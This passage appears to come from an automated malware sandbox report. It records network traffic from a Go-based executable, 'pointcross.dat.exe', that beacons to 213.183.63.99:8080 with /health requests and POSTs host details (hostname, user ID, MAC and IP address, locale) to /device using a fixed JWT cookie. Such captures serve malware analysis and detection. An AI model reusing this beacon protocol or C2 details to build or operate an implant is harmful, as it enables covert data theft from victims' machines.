              Nov 27, 2023 10:13:41.894352913 CET44349764104.16.133.229192.168.2.4
              Nov 27, 2023 10:13:41.941930056 CET49764443192.168.2.4104.16.133.229
              Nov 27, 2023 10:13:42.187313080 CET44349764104.16.133.229192.168.2.4
              Nov 27, 2023 10:13:42.187439919 CET44349764104.16.133.229192.168.2.4
              Nov 27, 2023 10:13:42.187628031 CET49764443192.168.2.4104.16.133.229
              Nov 27, 2023 10:13:42.187917948 CET49764443192.168.2.4104.16.133.229
              Nov 27, 2023 10:13:42.187927008 CET44349764104.16.133.229192.168.2.4
              Nov 27, 2023 10:13:42.187956095 CET49764443192.168.2.4104.16.133.229
              Nov 27, 2023 10:13:42.187961102 CET44349764104.16.133.229192.168.2.4
              Nov 27, 2023 10:13:42.188235044 CET497328080192.168.2.4213.183.63.99
              Nov 27, 2023 10:13:42.398011923 CET808049732213.183.63.99192.168.2.4
              Nov 27, 2023 10:13:42.445740938 CET497328080192.168.2.4213.183.63.99
              Nov 27, 2023 10:13:44.289580107 CET497318080192.168.2.4213.183.63.99
              Nov 27, 2023 10:13:44.447490931 CET808049731213.183.63.99192.168.2.4
              Nov 27, 2023 10:13:44.447560072 CET497318080192.168.2.4213.183.63.99
              Nov 27, 2023 10:13:44.496542931 CET808049731213.183.63.99192.168.2.4
              Nov 27, 2023 10:13:45.399152994 CET497328080192.168.2.4213.183.63.99
              Nov 27, 2023 10:13:45.602086067 CET808049732213.183.63.99192.168.2.4
              Nov 27, 2023 10:13:45.607923031 CET49765443192.168.2.4104.16.133.229
              Nov 27, 2023 10:13:45.607975006 CET44349765104.16.133.229192.168.2.4
              Nov 27, 2023 10:13:45.608072042 CET49765443192.168.2.4104.16.133.229
              Nov 27, 2023 10:13:45.608556986 CET49765443192.168.2.4104.16.133.229
              Nov 27, 2023 10:13:45.608575106 CET44349765104.16.133.229192.168.2.4
              Nov 27, 2023 10:13:45.656253099 CET497328080192.168.2.4213.183.63.99
              Nov 27, 2023 10:13:45.870433092 CET44349765104.16.133.229192.168.2.4
              Nov 27, 2023 10:13:45.870738029 CET49765443192.168.2.4104.16.133.229
              Nov 27, 2023 10:13:45.870755911 CET44349765104.16.133.229192.168.2.4
              Nov 27, 2023 10:13:45.870778084 CET49765443192.168.2.4104.16.133.229
              Nov 27, 2023 10:13:45.870784044 CET44349765104.16.133.229192.168.2.4
              Nov 27, 2023 10:13:45.871803045 CET44349765104.16.133.229192.168.2.4
              Nov 27, 2023 10:13:45.871866941 CET49765443192.168.2.4104.16.133.229
              Nov 27, 2023 10:13:45.872800112 CET49765443192.168.2.4104.16.133.229
              Nov 27, 2023 10:13:45.872865915 CET44349765104.16.133.229192.168.2.4
              Nov 27, 2023 10:13:45.872885942 CET49765443192.168.2.4104.16.133.229
              Nov 27, 2023 10:13:45.913261890 CET44349765104.16.133.229192.168.2.4
              Nov 27, 2023 10:13:45.920144081 CET49765443192.168.2.4104.16.133.229
              Nov 27, 2023 10:13:45.920160055 CET44349765104.16.133.229192.168.2.4
              Nov 27, 2023 10:13:45.967854023 CET49765443192.168.2.4104.16.133.229
              Nov 27, 2023 10:13:46.173585892 CET44349765104.16.133.229192.168.2.4
              Nov 27, 2023 10:13:46.173743010 CET44349765104.16.133.229192.168.2.4
              Nov 27, 2023 10:13:46.173966885 CET49765443192.168.2.4104.16.133.229
              Nov 27, 2023 10:13:46.174031019 CET49765443192.168.2.4104.16.133.229
              Nov 27, 2023 10:13:46.174068928 CET44349765104.16.133.229192.168.2.4
              Nov 27, 2023 10:13:46.174088001 CET49765443192.168.2.4104.16.133.229
              Nov 27, 2023 10:13:46.174094915 CET44349765104.16.133.229192.168.2.4
              Nov 27, 2023 10:13:46.174168110 CET497328080192.168.2.4213.183.63.99
              Nov 27, 2023 10:13:46.382072926 CET808049732213.183.63.99192.168.2.4
              Nov 27, 2023 10:13:46.430102110 CET497328080192.168.2.4213.183.63.99
              Nov 27, 2023 10:13:49.383274078 CET497328080192.168.2.4213.183.63.99
              Nov 27, 2023 10:13:49.586684942 CET808049732213.183.63.99192.168.2.4
              Nov 27, 2023 10:13:49.591082096 CET49766443192.168.2.4104.16.133.229
              Nov 27, 2023 10:13:49.591115952 CET44349766104.16.133.229192.168.2.4
              Nov 27, 2023 10:13:49.591217041 CET49766443192.168.2.4104.16.133.229
              Nov 27, 2023 10:13:49.591702938 CET49766443192.168.2.4104.16.133.229
              Nov 27, 2023 10:13:49.591717005 CET44349766104.16.133.229192.168.2.4
              Nov 27, 2023 10:13:49.638808012 CET497328080192.168.2.4213.183.63.99
              Nov 27, 2023 10:13:49.846370935 CET44349766104.16.133.229192.168.2.4
              Nov 27, 2023 10:13:49.846560955 CET49766443192.168.2.4104.16.133.229
              Nov 27, 2023 10:13:49.846574068 CET44349766104.16.133.229192.168.2.4
              Nov 27, 2023 10:13:49.846694946 CET49766443192.168.2.4104.16.133.229
              Nov 27, 2023 10:13:49.846698999 CET44349766104.16.133.229192.168.2.4
              Nov 27, 2023 10:13:49.847553015 CET44349766104.16.133.229192.168.2.4
              Nov 27, 2023 10:13:49.847618103 CET49766443192.168.2.4104.16.133.229
              Nov 27, 2023 10:13:49.848454952 CET49766443192.168.2.4104.16.133.229
              Nov 27, 2023 10:13:49.848504066 CET44349766104.16.133.229192.168.2.4
              Nov 27, 2023 10:13:49.848586082 CET49766443192.168.2.4104.16.133.229
              Nov 27, 2023 10:13:49.848591089 CET44349766104.16.133.229192.168.2.4
              Nov 27, 2023 10:13:49.895746946 CET49766443192.168.2.4104.16.133.229
              Nov 27, 2023 10:13:50.138539076 CET44349766104.16.133.229192.168.2.4
              Nov 27, 2023 10:13:50.138622046 CET44349766104.16.133.229192.168.2.4
              Nov 27, 2023 10:13:50.138670921 CET49766443192.168.2.4104.16.133.229
              Nov 27, 2023 10:13:50.138801098 CET49766443192.168.2.4104.16.133.229
              Nov 27, 2023 10:13:50.138812065 CET44349766104.16.133.229192.168.2.4
              Nov 27, 2023 10:13:50.138838053 CET49766443192.168.2.4104.16.133.229
              Nov 27, 2023 10:13:50.138844013 CET44349766104.16.133.229192.168.2.4
              Nov 27, 2023 10:13:50.138991117 CET497328080192.168.2.4213.183.63.99
              Nov 27, 2023 10:13:50.345881939 CET808049732213.183.63.99192.168.2.4
              Nov 27, 2023 10:13:50.393548012 CET497328080192.168.2.4213.183.63.99
              Nov 27, 2023 10:13:54.216346025 CET497328080192.168.2.4213.183.63.99
              Nov 27, 2023 10:13:54.419012070 CET808049732213.183.63.99192.168.2.4
              Nov 27, 2023 10:13:54.432715893 CET49767443192.168.2.4104.16.133.229
              Nov 27, 2023 10:13:54.432754040 CET44349767104.16.133.229192.168.2.4
              Nov 27, 2023 10:13:54.432831049 CET49767443192.168.2.4104.16.133.229
              Nov 27, 2023 10:13:54.433540106 CET49767443192.168.2.4104.16.133.229
              Nov 27, 2023 10:13:54.433553934 CET44349767104.16.133.229192.168.2.4
              Nov 27, 2023 10:13:54.465456009 CET497328080192.168.2.4213.183.63.99
              Nov 27, 2023 10:13:54.687397003 CET44349767104.16.133.229192.168.2.4
              Nov 27, 2023 10:13:54.687856913 CET49767443192.168.2.4104.16.133.229
              Nov 27, 2023 10:13:54.687901020 CET44349767104.16.133.229192.168.2.4
              Nov 27, 2023 10:13:54.688383102 CET49767443192.168.2.4104.16.133.229
              Nov 27, 2023 10:13:54.688389063 CET44349767104.16.133.229192.168.2.4
              Nov 27, 2023 10:13:54.694408894 CET44349767104.16.133.229192.168.2.4
              Nov 27, 2023 10:13:54.694566965 CET49767443192.168.2.4104.16.133.229
              Nov 27, 2023 10:13:54.697483063 CET49767443192.168.2.4104.16.133.229
              Nov 27, 2023 10:13:54.697716951 CET49767443192.168.2.4104.16.133.229
              Nov 27, 2023 10:13:54.701437950 CET44349767104.16.133.229192.168.2.4
              Nov 27, 2023 10:13:54.749389887 CET49767443192.168.2.4104.16.133.229
              Nov 27, 2023 10:13:54.749413967 CET44349767104.16.133.229192.168.2.4
              Nov 27, 2023 10:13:54.797528982 CET49767443192.168.2.4104.16.133.229
              Nov 27, 2023 10:13:54.978842020 CET44349767104.16.133.229192.168.2.4
              Nov 27, 2023 10:13:54.978964090 CET44349767104.16.133.229192.168.2.4
              Nov 27, 2023 10:13:54.979055882 CET49767443192.168.2.4104.16.133.229
              Nov 27, 2023 10:13:54.979548931 CET49767443192.168.2.4104.16.133.229
              Nov 27, 2023 10:13:54.979573011 CET44349767104.16.133.229192.168.2.4
              Nov 27, 2023 10:13:54.979832888 CET497328080192.168.2.4213.183.63.99
              Nov 27, 2023 10:13:55.190088034 CET808049732213.183.63.99192.168.2.4
              Nov 27, 2023 10:13:55.237984896 CET497328080192.168.2.4213.183.63.99
              Nov 27, 2023 10:13:58.191363096 CET497328080192.168.2.4213.183.63.99
              Nov 27, 2023 10:13:58.394511938 CET808049732213.183.63.99192.168.2.4
              Nov 27, 2023 10:13:58.399698019 CET49768443192.168.2.4104.16.133.229
              Nov 27, 2023 10:13:58.399744034 CET44349768104.16.133.229192.168.2.4
              Nov 27, 2023 10:13:58.399811029 CET49768443192.168.2.4104.16.133.229
              Nov 27, 2023 10:13:58.400387049 CET49768443192.168.2.4104.16.133.229
              Nov 27, 2023 10:13:58.400403976 CET44349768104.16.133.229192.168.2.4
              Nov 27, 2023 10:13:58.447531939 CET497328080192.168.2.4213.183.63.99
              Nov 27, 2023 10:13:58.654301882 CET44349768104.16.133.229192.168.2.4
              Nov 27, 2023 10:13:58.654778004 CET49768443192.168.2.4104.16.133.229
              Nov 27, 2023 10:13:58.654807091 CET44349768104.16.133.229192.168.2.4
              Nov 27, 2023 10:13:58.654902935 CET49768443192.168.2.4104.16.133.229
              Nov 27, 2023 10:13:58.654910088 CET44349768104.16.133.229192.168.2.4
              Nov 27, 2023 10:13:58.656014919 CET44349768104.16.133.229192.168.2.4
              Nov 27, 2023 10:13:58.656076908 CET49768443192.168.2.4104.16.133.229
              Nov 27, 2023 10:13:58.656949997 CET49768443192.168.2.4104.16.133.229
              Nov 27, 2023 10:13:58.657006979 CET44349768104.16.133.229192.168.2.4
              Nov 27, 2023 10:13:58.657061100 CET49768443192.168.2.4104.16.133.229
              Nov 27, 2023 10:13:58.701256990 CET44349768104.16.133.229192.168.2.4
              Nov 27, 2023 10:13:58.704368114 CET49768443192.168.2.4104.16.133.229
              Nov 27, 2023 10:13:58.704391003 CET44349768104.16.133.229192.168.2.4
              Nov 27, 2023 10:13:58.751979113 CET49768443192.168.2.4104.16.133.229
              Nov 27, 2023 10:13:58.944960117 CET44349768104.16.133.229192.168.2.4
              Nov 27, 2023 10:13:58.945053101 CET44349768104.16.133.229192.168.2.4
              Nov 27, 2023 10:13:58.945103884 CET49768443192.168.2.4104.16.133.229
              Nov 27, 2023 10:13:59.241841078 CET49768443192.168.2.4104.16.133.229
              Nov 27, 2023 10:13:59.241872072 CET44349768104.16.133.229192.168.2.4
              Nov 27, 2023 10:13:59.241883993 CET49768443192.168.2.4104.16.133.229
              Nov 27, 2023 10:13:59.241889000 CET44349768104.16.133.229192.168.2.4
              Nov 27, 2023 10:13:59.242018938 CET497328080192.168.2.4213.183.63.99
              Nov 27, 2023 10:13:59.449899912 CET808049732213.183.63.99192.168.2.4
              Nov 27, 2023 10:13:59.497509956 CET497328080192.168.2.4213.183.63.99
              Nov 27, 2023 10:13:59.497509956 CET497318080192.168.2.4213.183.63.99
              Nov 27, 2023 10:13:59.655621052 CET808049731213.183.63.99192.168.2.4
              Nov 27, 2023 10:13:59.655672073 CET497318080192.168.2.4213.183.63.99
              Nov 27, 2023 10:13:59.704533100 CET808049731213.183.63.99192.168.2.4

              UDP Packets

              TimestampSource PortDest PortSource IPDest IP
              Nov 27, 2023 10:11:56.882747889 CET6250153192.168.2.41.1.1.1
              Nov 27, 2023 10:11:57.006921053 CET53625011.1.1.1192.168.2.4

              DNS Queries

              TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
              Nov 27, 2023 10:11:56.882747889 CET192.168.2.41.1.1.10x7d8bStandard query (0)cloudflare.comA (IP address)IN (0x0001)false

              DNS Answers

              TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
              Nov 27, 2023 10:11:57.006921053 CET1.1.1.1192.168.2.40x7d8bNo error (0)cloudflare.com104.16.133.229A (IP address)IN (0x0001)false
              Nov 27, 2023 10:11:57.006921053 CET1.1.1.1192.168.2.40x7d8bNo error (0)cloudflare.com104.16.132.229A (IP address)IN (0x0001)false

              HTTP Request Dependency Graph

              • cloudflare.com
              • 213.183.63.99:8080

              HTTP Packets

              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
              0192.168.2.449732213.183.63.9980806684C:\Users\user\Desktop\pointcross.dat.exe
              TimestampBytes transferredDirectionData
              Nov 27, 2023 10:11:57.757246017 CET357OUTGET /health HTTP/1.1
              Host: 213.183.63.99:8080
              User-Agent: Go-http-client/1.1
              Content-Type: application/json
              Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MzIzNTQ1MDgsInVzZXIiOiJkZWZhdWx0In0.WTX2XYqY5VPNYlwrI2WAFhewEGtntd4AfEFr5wtN0Q8
              Accept-Encoding: gzip
              Nov 27, 2023 10:11:57.959743023 CET129INHTTP/1.1 200 OK
              Date: Mon, 27 Nov 2023 09:11:57 GMT
              Content-Length: 0
              Nov 27, 2023 10:11:58.525336981 CET610OUTPOST /device HTTP/1.1
              Host: 213.183.63.99:8080
              User-Agent: Go-http-client/1.1
              Content-Length: 231
              Content-Type: application/json
              Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MzIzNTQ1MDgsInVzZXIiOiJkZWZhdWx0In0.WTX2XYqY5VPNYlwrI2WAFhewEGtntd4AfEFr5wtN0Q8
              Accept-Encoding: gzip
              Data Raw: 7b 22 68 6f 73 74 6e 61 6d 65 22 3a 22 37 30 31 31 38 38 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 22 2c 22 75 73 65 72 5f 69 64 22 3a 22 4a 4f 4e 45 53 2d 50 43 5c 5c 6a 6f 6e 65 73 22 2c 22 6f 73 5f 6e 61 6d 65 22 3a 22 77 69 6e 64 6f 77 73 22 2c 22 6f 73 5f 61 72 63 68 22 3a 22 61 6d 64 36 34 22 2c 22 6d 61 63 5f 61 64 64 72 65 73 73 22 3a 22 65 63 3a 66 34 3a 62 62 3a 65 61 3a 31 35 3a 38 38 22 2c 22 6c 6f 63 61 6c 5f 69 70 5f 61 64 64 72 65 73 73 22 3a 22 38 39 2e 31 34 39 2e 31 38 2e 36 30 22 2c 22 70 6f 72 74 22 3a 22 38 30 38 30 22 2c 22 6c 6f 63 61 6c 65 5f 6c 61 6e 67 22 3a 22 65 6e 2d 43 48 22 2c 22 66 65 74 63 68 65 64 5f 75 6e 69 78 22 3a 31 37 30 31 30 37 36 33 31 37 7d
              Data Ascii: {"hostname":"701188","username":"","user_id":"user-PC\\user","os_name":"windows","os_arch":"amd64","mac_address":"ec:f4:bb:ea:15:88","local_ip_address":"89.149.18.60","port":"8080","locale_lang":"en-CH","fetched_unix":1701076317}
              Nov 27, 2023 10:11:58.735075951 CET129INHTTP/1.1 200 OK
              Date: Mon, 27 Nov 2023 09:11:58 GMT
              Content-Length: 0
              Nov 27, 2023 10:12:01.739635944 CET357OUTGET /health HTTP/1.1
              Host: 213.183.63.99:8080
              User-Agent: Go-http-client/1.1
              Content-Type: application/json
              Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MzIzNTQ1MDgsInVzZXIiOiJkZWZhdWx0In0.WTX2XYqY5VPNYlwrI2WAFhewEGtntd4AfEFr5wtN0Q8
              Accept-Encoding: gzip
              Nov 27, 2023 10:12:01.943177938 CET129INHTTP/1.1 200 OK
              Date: Mon, 27 Nov 2023 09:12:01 GMT
              Content-Length: 0
              Nov 27, 2023 10:12:02.507986069 CET610OUTPOST /device HTTP/1.1
              Host: 213.183.63.99:8080
              User-Agent: Go-http-client/1.1
              Content-Length: 231
              Content-Type: application/json
              Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MzIzNTQ1MDgsInVzZXIiOiJkZWZhdWx0In0.WTX2XYqY5VPNYlwrI2WAFhewEGtntd4AfEFr5wtN0Q8
              Accept-Encoding: gzip
              Data Raw: 7b 22 68 6f 73 74 6e 61 6d 65 22 3a 22 37 30 31 31 38 38 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 22 2c 22 75 73 65 72 5f 69 64 22 3a 22 4a 4f 4e 45 53 2d 50 43 5c 5c 6a 6f 6e 65 73 22 2c 22 6f 73 5f 6e 61 6d 65 22 3a 22 77 69 6e 64 6f 77 73 22 2c 22 6f 73 5f 61 72 63 68 22 3a 22 61 6d 64 36 34 22 2c 22 6d 61 63 5f 61 64 64 72 65 73 73 22 3a 22 65 63 3a 66 34 3a 62 62 3a 65 61 3a 31 35 3a 38 38 22 2c 22 6c 6f 63 61 6c 5f 69 70 5f 61 64 64 72 65 73 73 22 3a 22 38 39 2e 31 34 39 2e 31 38 2e 36 30 22 2c 22 70 6f 72 74 22 3a 22 38 30 38 30 22 2c 22 6c 6f 63 61 6c 65 5f 6c 61 6e 67 22 3a 22 65 6e 2d 43 48 22 2c 22 66 65 74 63 68 65 64 5f 75 6e 69 78 22 3a 31 37 30 31 30 37 36 33 32 31 7d
              Data Ascii: {"hostname":"701188","username":"","user_id":"user-PC\\user","os_name":"windows","os_arch":"amd64","mac_address":"ec:f4:bb:ea:15:88","local_ip_address":"89.149.18.60","port":"8080","locale_lang":"en-CH","fetched_unix":1701076321}
              Nov 27, 2023 10:12:02.716562033 CET129INHTTP/1.1 200 OK
              Date: Mon, 27 Nov 2023 09:12:02 GMT
              Content-Length: 0
              Nov 27, 2023 10:12:05.717449903 CET357OUTGET /health HTTP/1.1
              Host: 213.183.63.99:8080
              User-Agent: Go-http-client/1.1
              Content-Type: application/json
              Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MzIzNTQ1MDgsInVzZXIiOiJkZWZhdWx0In0.WTX2XYqY5VPNYlwrI2WAFhewEGtntd4AfEFr5wtN0Q8
              Accept-Encoding: gzip
              Nov 27, 2023 10:12:05.919898033 CET129INHTTP/1.1 200 OK
              Date: Mon, 27 Nov 2023 09:12:05 GMT
              Content-Length: 0
              Nov 27, 2023 10:12:06.470444918 CET610OUTPOST /device HTTP/1.1
              Host: 213.183.63.99:8080
              User-Agent: Go-http-client/1.1
              Content-Length: 231
              Content-Type: application/json
              Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MzIzNTQ1MDgsInVzZXIiOiJkZWZhdWx0In0.WTX2XYqY5VPNYlwrI2WAFhewEGtntd4AfEFr5wtN0Q8
              Accept-Encoding: gzip
              Data Raw: 7b 22 68 6f 73 74 6e 61 6d 65 22 3a 22 37 30 31 31 38 38 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 22 2c 22 75 73 65 72 5f 69 64 22 3a 22 4a 4f 4e 45 53 2d 50 43 5c 5c 6a 6f 6e 65 73 22 2c 22 6f 73 5f 6e 61 6d 65 22 3a 22 77 69 6e 64 6f 77 73 22 2c 22 6f 73 5f 61 72 63 68 22 3a 22 61 6d 64 36 34 22 2c 22 6d 61 63 5f 61 64 64 72 65 73 73 22 3a 22 65 63 3a 66 34 3a 62 62 3a 65 61 3a 31 35 3a 38 38 22 2c 22 6c 6f 63 61 6c 5f 69 70 5f 61 64 64 72 65 73 73 22 3a 22 38 39 2e 31 34 39 2e 31 38 2e 36 30 22 2c 22 70 6f 72 74 22 3a 22 38 30 38 30 22 2c 22 6c 6f 63 61 6c 65 5f 6c 61 6e 67 22 3a 22 65 6e 2d 43 48 22 2c 22 66 65 74 63 68 65 64 5f 75 6e 69 78 22 3a 31 37 30 31 30 37 36 33 32 35 7d
              Data Ascii: {"hostname":"701188","username":"","user_id":"user-PC\\user","os_name":"windows","os_arch":"amd64","mac_address":"ec:f4:bb:ea:15:88","local_ip_address":"89.149.18.60","port":"8080","locale_lang":"en-CH","fetched_unix":1701076325}
              Nov 27, 2023 10:12:06.676805019 CET129INHTTP/1.1 200 OK
              Date: Mon, 27 Nov 2023 09:12:06 GMT
              Content-Length: 0
              Nov 27, 2023 10:12:09.698476076 CET357OUTGET /health HTTP/1.1
              Host: 213.183.63.99:8080
              User-Agent: Go-http-client/1.1
              Content-Type: application/json
              Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MzIzNTQ1MDgsInVzZXIiOiJkZWZhdWx0In0.WTX2XYqY5VPNYlwrI2WAFhewEGtntd4AfEFr5wtN0Q8
              Accept-Encoding: gzip
              Nov 27, 2023 10:12:09.901273966 CET129INHTTP/1.1 200 OK
              Date: Mon, 27 Nov 2023 09:12:09 GMT
              Content-Length: 0
              Nov 27, 2023 10:12:11.747934103 CET610OUTPOST /device HTTP/1.1
              Host: 213.183.63.99:8080
              User-Agent: Go-http-client/1.1
              Content-Length: 231
              Content-Type: application/json
              Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MzIzNTQ1MDgsInVzZXIiOiJkZWZhdWx0In0.WTX2XYqY5VPNYlwrI2WAFhewEGtntd4AfEFr5wtN0Q8
              Accept-Encoding: gzip
              Data Raw: 7b 22 68 6f 73 74 6e 61 6d 65 22 3a 22 37 30 31 31 38 38 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 22 2c 22 75 73 65 72 5f 69 64 22 3a 22 4a 4f 4e 45 53 2d 50 43 5c 5c 6a 6f 6e 65 73 22 2c 22 6f 73 5f 6e 61 6d 65 22 3a 22 77 69 6e 64 6f 77 73 22 2c 22 6f 73 5f 61 72 63 68 22 3a 22 61 6d 64 36 34 22 2c 22 6d 61 63 5f 61 64 64 72 65 73 73 22 3a 22 65 63 3a 66 34 3a 62 62 3a 65 61 3a 31 35 3a 38 38 22 2c 22 6c 6f 63 61 6c 5f 69 70 5f 61 64 64 72 65 73 73 22 3a 22 38 39 2e 31 34 39 2e 31 38 2e 36 30 22 2c 22 70 6f 72 74 22 3a 22 38 30 38 30 22 2c 22 6c 6f 63 61 6c 65 5f 6c 61 6e 67 22 3a 22 65 6e 2d 43 48 22 2c 22 66 65 74 63 68 65 64 5f 75 6e 69 78 22 3a 31 37 30 31 30 37 36 33 33 30 7d
              Data Ascii: {"hostname":"701188","username":"","user_id":"user-PC\\user","os_name":"windows","os_arch":"amd64","mac_address":"ec:f4:bb:ea:15:88","local_ip_address":"89.149.18.60","port":"8080","locale_lang":"en-CH","fetched_unix":1701076330}
              Nov 27, 2023 10:12:11.957448959 CET129INHTTP/1.1 200 OK
              Date: Mon, 27 Nov 2023 09:12:11 GMT
              Content-Length: 0
              Nov 27, 2023 10:12:14.958559036 CET357OUTGET /health HTTP/1.1
              Host: 213.183.63.99:8080
              User-Agent: Go-http-client/1.1
              Content-Type: application/json
              Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MzIzNTQ1MDgsInVzZXIiOiJkZWZhdWx0In0.WTX2XYqY5VPNYlwrI2WAFhewEGtntd4AfEFr5wtN0Q8
              Accept-Encoding: gzip
              Nov 27, 2023 10:12:15.161132097 CET129INHTTP/1.1 200 OK
              Date: Mon, 27 Nov 2023 09:12:15 GMT
              Content-Length: 0
              Nov 27, 2023 10:12:15.731106997 CET610OUTPOST /device HTTP/1.1
              Host: 213.183.63.99:8080
              User-Agent: Go-http-client/1.1
              Content-Length: 231
              Content-Type: application/json
              Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MzIzNTQ1MDgsInVzZXIiOiJkZWZhdWx0In0.WTX2XYqY5VPNYlwrI2WAFhewEGtntd4AfEFr5wtN0Q8
              Accept-Encoding: gzip
              Data Raw: 7b 22 68 6f 73 74 6e 61 6d 65 22 3a 22 37 30 31 31 38 38 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 22 2c 22 75 73 65 72 5f 69 64 22 3a 22 4a 4f 4e 45 53 2d 50 43 5c 5c 6a 6f 6e 65 73 22 2c 22 6f 73 5f 6e 61 6d 65 22 3a 22 77 69 6e 64 6f 77 73 22 2c 22 6f 73 5f 61 72 63 68 22 3a 22 61 6d 64 36 34 22 2c 22 6d 61 63 5f 61 64 64 72 65 73 73 22 3a 22 65 63 3a 66 34 3a 62 62 3a 65 61 3a 31 35 3a 38 38 22 2c 22 6c 6f 63 61 6c 5f 69 70 5f 61 64 64 72 65 73 73 22 3a 22 38 39 2e 31 34 39 2e 31 38 2e 36 30 22 2c 22 70 6f 72 74 22 3a 22 38 30 38 30 22 2c 22 6c 6f 63 61 6c 65 5f 6c 61 6e 67 22 3a 22 65 6e 2d 43 48 22 2c 22 66 65 74 63 68 65 64 5f 75 6e 69 78 22 3a 31 37 30 31 30 37 36 33 33 34 7d
              Data Ascii: {"hostname":"701188","username":"","user_id":"user-PC\\user","os_name":"windows","os_arch":"amd64","mac_address":"ec:f4:bb:ea:15:88","local_ip_address":"89.149.18.60","port":"8080","locale_lang":"en-CH","fetched_unix":1701076334}
              Nov 27, 2023 10:12:15.939544916 CET129INHTTP/1.1 200 OK
              Date: Mon, 27 Nov 2023 09:12:15 GMT
              Content-Length: 0
              Nov 27, 2023 10:12:18.940629005 CET357OUTGET /health HTTP/1.1
              Host: 213.183.63.99:8080
              User-Agent: Go-http-client/1.1
              Content-Type: application/json
              Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MzIzNTQ1MDgsInVzZXIiOiJkZWZhdWx0In0.WTX2XYqY5VPNYlwrI2WAFhewEGtntd4AfEFr5wtN0Q8
              Accept-Encoding: gzip
              Nov 27, 2023 10:12:19.143264055 CET129INHTTP/1.1 200 OK
              Date: Mon, 27 Nov 2023 09:12:19 GMT
              Content-Length: 0
              Nov 27, 2023 10:12:19.697729111 CET610OUTPOST /device HTTP/1.1
              Host: 213.183.63.99:8080
              User-Agent: Go-http-client/1.1
              Content-Length: 231
              Content-Type: application/json
              Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MzIzNTQ1MDgsInVzZXIiOiJkZWZhdWx0In0.WTX2XYqY5VPNYlwrI2WAFhewEGtntd4AfEFr5wtN0Q8
              Accept-Encoding: gzip
              Data Raw: 7b 22 68 6f 73 74 6e 61 6d 65 22 3a 22 37 30 31 31 38 38 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 22 2c 22 75 73 65 72 5f 69 64 22 3a 22 4a 4f 4e 45 53 2d 50 43 5c 5c 6a 6f 6e 65 73 22 2c 22 6f 73 5f 6e 61 6d 65 22 3a 22 77 69 6e 64 6f 77 73 22 2c 22 6f 73 5f 61 72 63 68 22 3a 22 61 6d 64 36 34 22 2c 22 6d 61 63 5f 61 64 64 72 65 73 73 22 3a 22 65 63 3a 66 34 3a 62 62 3a 65 61 3a 31 35 3a 38 38 22 2c 22 6c 6f 63 61 6c 5f 69 70 5f 61 64 64 72 65 73 73 22 3a 22 38 39 2e 31 34 39 2e 31 38 2e 36 30 22 2c 22 70 6f 72 74 22 3a 22 38 30 38 30 22 2c 22 6c 6f 63 61 6c 65 5f 6c 61 6e 67 22 3a 22 65 6e 2d 43 48 22 2c 22 66 65 74 63 68 65 64 5f 75 6e 69 78 22 3a 31 37 30 31 30 37 36 33 33 38 7d
              Data Ascii: {"hostname":"701188","username":"","user_id":"user-PC\\user","os_name":"windows","os_arch":"amd64","mac_address":"ec:f4:bb:ea:15:88","local_ip_address":"89.149.18.60","port":"8080","locale_lang":"en-CH","fetched_unix":1701076338}
              Nov 27, 2023 10:12:19.906207085 CET129INHTTP/1.1 200 OK
              Date: Mon, 27 Nov 2023 09:12:19 GMT
              Content-Length: 0
              Nov 27, 2023 10:12:22.907408953 CET357OUTGET /health HTTP/1.1
              Host: 213.183.63.99:8080
              User-Agent: Go-http-client/1.1
              Content-Type: application/json
              Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MzIzNTQ1MDgsInVzZXIiOiJkZWZhdWx0In0.WTX2XYqY5VPNYlwrI2WAFhewEGtntd4AfEFr5wtN0Q8
              Accept-Encoding: gzip
              Nov 27, 2023 10:12:23.110245943 CET129INHTTP/1.1 200 OK
              Date: Mon, 27 Nov 2023 09:12:22 GMT
              Content-Length: 0
              Nov 27, 2023 10:12:23.676044941 CET610OUTPOST /device HTTP/1.1
              Host: 213.183.63.99:8080
              User-Agent: Go-http-client/1.1
              Content-Length: 231
              Content-Type: application/json
